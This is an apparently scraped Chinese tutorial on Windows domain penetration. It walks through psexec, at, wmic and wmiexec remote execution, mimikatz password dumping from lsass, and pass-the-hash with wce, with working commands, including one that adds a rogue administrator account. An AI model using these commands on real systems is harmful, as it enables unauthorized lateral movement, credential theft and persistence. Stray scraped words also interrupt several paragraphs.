域滲透基礎(二)

(該文參考整理自網上文章,相關連接附於文末)html

遠程命令執行

PSEXEC

psexec是pstools工具包中的一個工具,可在微軟官網直接下載。是輕型的 telnet 替代工具,它使您無需手動安裝客戶端軟件便可執行其餘系統上的進程,而且能夠得到與控制檯應用程序至關的徹底交互性。PsExec 最強大的功能之一是在遠程系統和遠程支持工具(如 IpConfig)中啓動交互式命令提示窗口,以便顯示沒法經過其餘方式顯示的有關遠程系統的信息。node

psexec針對遠程創建鏈接的認證方式有兩種,一種先創建ipc鏈接,而後直接用psexec \\192.168.1.2 cmd命令開啓一個半交互式的cmdshell,另外一種是在psexec的參數中指定帳號密碼。算法

執行原理

一、經過ipc$鏈接,釋放psexesvc.exe到目標。
二、經過服務管理SCManager遠程建立psexecsvc服務,並啓動服務。
三、客戶端鏈接執行命令,服務端啓動相應的程序並執行回顯數據。shell

(運行完後刪除服務。這個在windows的日誌中有詳細的記錄,另外psexec在少數狀況下會出現服務沒刪除成功的bug,因此通常來說不太推薦在滲透時使用psexec,可用wmic,wmiexec等)windows

經常使用命令

獲取管理員用戶權限的交互式 shellsass

psexec \\192.168.17.138 -Administrator -p pass cmd安全

獲取普通用戶權限的交互式 shell,要想獲取管理員權限 shell ,須要添加-h 參數。服務器

psexec \\192.168.17.138 -u test -p pass cmd網絡

在遠程系統上以 system 權限執行單條命令,有時回顯只有一行,緣由尚不清楚。session

psexec \\192.168.17.138 -Administrator -p pass -s cmd /c "quser"

在遠程系統上執行 bat 腳本

psexec \\192.168.17.138 -Administrator -p pass c:\programdata\test.bat

拷貝文件到遠程機器並以交互方式運行,運行結束後會刪除

psexec \\192.168.17.138 -c C:\Users\test\Desktop\GetHashes.exe

其它參數

–accepteula 第一次運行會彈框,輸入這個參數便不會彈框
s 以 「nt authority\system」 權限運行遠程進程
h 若是能夠,以管理員權限運行遠程進程
d 不等待程序執行完就返回,請只對非交互式應用程序使用此選項
\\ip 能夠替換成 @ip.txt (存放多個 ip 的文本),能夠批量執行命令

工具說明

須要遠程系統開啓 ADMIN$ 共享
創建 ipc 鏈接後能夠不指定用戶名和密碼
不能僅拷貝文件不執行,只須要拷貝時能夠創建 ipc 鏈接後c opy
在啓動psExec創建鏈接以後,遠程系統上會被安裝一個服務:PSEXESVC。安裝服務會留下日誌,並且psexec退出時有可能服務刪除失敗,因此不推薦使用psexec

 

net use+at

創建一個ipc鏈接

net use \\192.168.17.138\C$ "pass" /u:"workgroup\Administrator"

拷貝文件到遠程系統上

copy s.exe \\192.168.17.138\c$\RECYCLER\

查看遠程主機當前時間

net time \\192.168.17.138

添加計劃任務在遠程系統上執行命令

at \\192.168.17.138 15:18 cmd.exe /"ipconfig /all >c:\programdata\error.log"

添加計劃任務在遠程系統上執行bat腳本

at \\192.168.17.138 15:18 c:\programdata\test.bat

查看at任務列表

at \\192.168.17.138

刪除at計劃任務,運行完成後必定要刪除計劃任務!

at \\192.168.17.138 1 /delete

查看全部ipc鏈接

net use

刪除指定ipc鏈接

net use \\192.168.17.138\C$ /del

刪除全部ipc鏈接(刪除前記得確認是否都是本身測試中創建的鏈接)

net use * /del /y

 

WMIC

WMI 的全稱是 Windows Management Instrumentation,它出如今全部的 Windows操做系統中,並由一組強大的工具集合組成,用於管理本地或遠程的 Windows 系統,攻擊者使用 wmi 來進行攻擊,但 Windows 系統默認不會在日誌中記錄這些操做,能夠作到無日誌,攻擊腳本無需寫入到磁盤,增長了隱蔽性。推薦使用 wmic 進行遠程執行命令。

經常使用命令

在遠程系統上執行 bat 腳本

wmic /node:192.168.17.138 /user:test /password:pass process call create c:\programdata\test.bat

在遠程系統上執行單條命令

wmic /node:192.168.17.138 /user:test /password:pass process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

工具說明

一、須要遠程系統啓動 Windows Management Instrumentation 服務,開放135端口
二、遠程系統的本地安全策略的「網絡訪問: 本地賬戶的共享和安全模式」應設爲「經典-本地用戶以本身的身份驗證」
三、wmic 會以管理員權限在遠程系統上執行命令
四、防火牆開啓將沒法鏈接
五、若是報錯 「Invalid Global Switch」 ,用雙引號把包含-的結點括起來便可正常執行。

 

WMIEXEC

WMI 能夠遠程執行命令,大牛使用VBS腳本調用WMI來模擬 psexec 的功能,因而乎WMIEXEC 就誕生了。基本上psexec 能用的地方,這個腳本也可以使用。整個過程是先調用WMI經過帳號密碼或者NTLM認證(WCE注入)鏈接到遠程計算機,而後若是提供了帳號密碼,則用這個帳號密碼創建一個到目標的IPC鏈接。隨後WMI會創建一個共享文件夾,用於遠程讀取命令執行結果。 當用戶輸入命令時,WMI建立進程執行該命令,而後把結果輸出到文件,這個文件位於以前建立的共享文件夾中。最後,經過FSO組件訪問遠程共享文件夾中的結果文件,將結果輸出。當結果讀取完成時,調用WMI執行命令刪除結果文件。最後當WMIEXEC退出時,刪除文件共享。

經常使用命令

獲取半交互式shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 username password

在遠程系統上執行單條命令

cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password "cmdkey /list"

在遠程系統上執行 bat 腳本

cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password c:\programdata\test.bat

 

上面是提供帳號密碼的狀況,若是有時候咱們抓取到的是hash,破解不了時能夠利用WCE的hash注入,而後再執行WMIEXEC(不提供帳號密碼)就能夠了。

 

Tips:若是抓取的LM hash是AAD3開頭的,或者是No Password之類的,就用32個0代替LM hash便可。

 

其它參數

-wait5000 表示這個命令等待5s後再讀取結果,用於運行「運行時間長」的命令

(因爲WMI只負責建立進程,沒有辦法能夠判斷命令是否執行完畢,因此腳本採用的方法是延遲1200ms後讀取結果文件,可是若是命令執行的時間大於1200ms,好比systeminfo 或者ping之類的,這時候讀取結果文件會致使讀取的結果不完整,而後在刪除結果文件時會出錯。好比ping結果不能讀取完整,並且命令執行完後目標服務器上的wmi.dll結果文件並無被刪除!爲了防止出現這種狀況,因而在shell模式裏面加入了-waitTIME選項,TIME是要等待的時間。當執行的命令後面跟上-wait5000時,表示這個命令等待5s後再讀取結果。)

-persist 程序會在後臺運行,不會有結果輸出

(因爲正常的命令都要查看結果,因此執行的命令後面都會加上重定向符,把結果輸出到文件中。 因此用這個執行木馬會有問題,由於木馬進程會一直存在,致使結果文件被佔用,不能刪除,也不能改寫,若是執行不帶任何參數的nc.exe也是這種效果 出現這種狀況後因爲結果文件被佔用,因此WMIEXEC不能工做,除非手動更改腳本中的結果文件名。或者能夠用taskkill 遠程結束掉卡死的進程,而後WMIEXEC能夠恢復工做。 爲了解決這個問題,加入了-persist選項。 當命令加了persist選項後,程序會在後臺運行,不會有結果輸出,並且會返回這個命令進程的PID,方便結束進程。 這樣就能夠運行nc或者木馬程序了)

下面這段代碼在腳本的一開始,是控制結果文件路徑、文件名、以及默認代碼執行時
間的,能夠自行更改。

Const Path = "C:\"

Const FileName = "wmi.dll"

Const timeOut = 1200

工具說明

須要遠程系統啓動 Windows Management Instrumentation 服務,開放135端口
遠程系統的本地安全策略的「網絡訪問: 本地賬戶的共享和安全模式」應設爲「經典-本地用戶以本身的身份驗證」
wmicexec.vbs 會以管理員權限在遠程系統上執行命令
virustotal 顯示 wmiexec.vbs 會被 Kaspersky、Symantec 和 ZoneAlarm查殺

 

mimikatz

mimikatz是一款功能強大的輕量級調試神器,經過它你能夠提高進程權限注入進程讀取進程內存,固然他最大的亮點是他能夠直接從 lsass中獲取當前處於Active系統的登陸密碼, lsass是微軟Windows系統的安全機制它主要用於本地安全和登錄策略,一般咱們在登錄系統時輸入密碼以後,密碼便會儲存在 lsass內存中,通過其 wdigest 和 tspkg 兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中, 而mimikatz正是經過對lsass的逆算獲取到明文密碼!也就是說只要你不重啓電腦,就能夠經過他獲取到登錄密碼,只限當前登錄系統!

命令

  • cls—————————–清屏
  • exit—————————-退出
  • version————查看mimikatz的版本
  • system::user—–查看當前登陸的系統用戶
  • system::computer——-查看計算機名稱
  • process::list——————列出進程
  • process::suspend 進程名稱 —–暫停進程
  • process::stop 進程名稱———結束進程
  • process::modules –列出系統的核心模塊及所在位置
  • service::list—————列出系統的服務
  • service::remove———–移除系統的服務
  • service::start stop 服務名稱–啓動或中止服務
  • privilege::list—————列出權限列表
  • privilege::enable——–激活一個或多個權限
  • privilege::debug—————–提高權限
  • nogpo::cmd————打開系統的cmd.exe
  • nogpo::regedit ———–打開系統的註冊表
  • nogpo::taskmgr————-打開任務管理器
  • ts::sessions—————–顯示當前的會話
  • ts::processes——顯示進程和對應的pid狀況等
  • sekurlsa::wdigest—–獲取本地用戶信息及密碼
  • sekurlsa::tspkg——獲取tspkg用戶信息及密碼
  • sekurlsa::logonPasswords–獲登錄用戶信息及密碼

獲取windows 登錄密碼

第一步:根據你係統選擇對應的版本,雙擊打開

第二步:輸入輸入privilege::debug 提高權限

第三步:輸入inject::process lsass.exe sekurlsa.dll 將sekurlsa.dll 注入到lsass.exe 中

第四步:輸入sekurlsa::logonPasswords full 便可獲取hash和當前用戶的明文密碼

 

哈希傳遞攻擊(Pass The Hash,PTH)

若是內網主機的本地管理員帳戶密碼相同,那麼能夠經過pass the hash遠程登陸到任意一臺主機,操做簡單、威力無窮。

在域環境中,利用pass the hash的滲透方式每每是這樣的:

  1. 得到一臺域主機的權限
  2. Dump內存得到用戶hash
  3. 經過pass the hash嘗試登陸其餘主機
  4. 繼續蒐集hash並嘗試遠程登陸
  5. 直到得到域管理員帳戶hash,登陸域控,最終成功控制整個域

原理

  • 在Windows系統中,一般會使用NTLM身份認證
  • NTLM認證不使用明文口令,而是使用口令加密後的hash值,hash值由系統API生成(例如LsaLogonUser)
  • hash分爲LM hash和NT hash,若是密碼長度大於15,那麼沒法生成LM hash。從Windows Vista和Windows Server 2008開始,微軟默認禁用LM hash
  • 若是攻擊者得到了hash,就可以在身份驗證的時候模擬該用戶(即跳過調用API生成hash的過程)

 

使用wce進行hash注入

在內網滲透時,很常常會碰到好不容易提取出了hash,可是沒法破解。

wce號稱內網滲透神器,其中有一個功能就是hash注入。

測試環境:

目標  windows2008 【192.168.200.128】hash以下:

測試機:

windows7【192.168.200.5】

在沒法破解192.168.200.128的administrator密碼時,咱們能夠採用hash注入

先dir目標的c$(前提是目標有開啓C盤共享)

會提示帳號密碼錯誤。

使用wce

 

格式:
wce.exe -s 帳號:主機名或域的名字:LM:NTLM

 

提示注入完成。

再dir目標機器的C盤試試

 

 

 

參考:

遠程命令執行 wmiexec

利用WMI代替psexec——WMIEXEC.vbs

法國神器直接獲取windows登錄密碼

域滲透——Pass The Hash的實現

域滲透——Pass The Hash & Pass The Key – 三好學生

如何使用wce進行hash注入

相關文章
相關標籤/搜索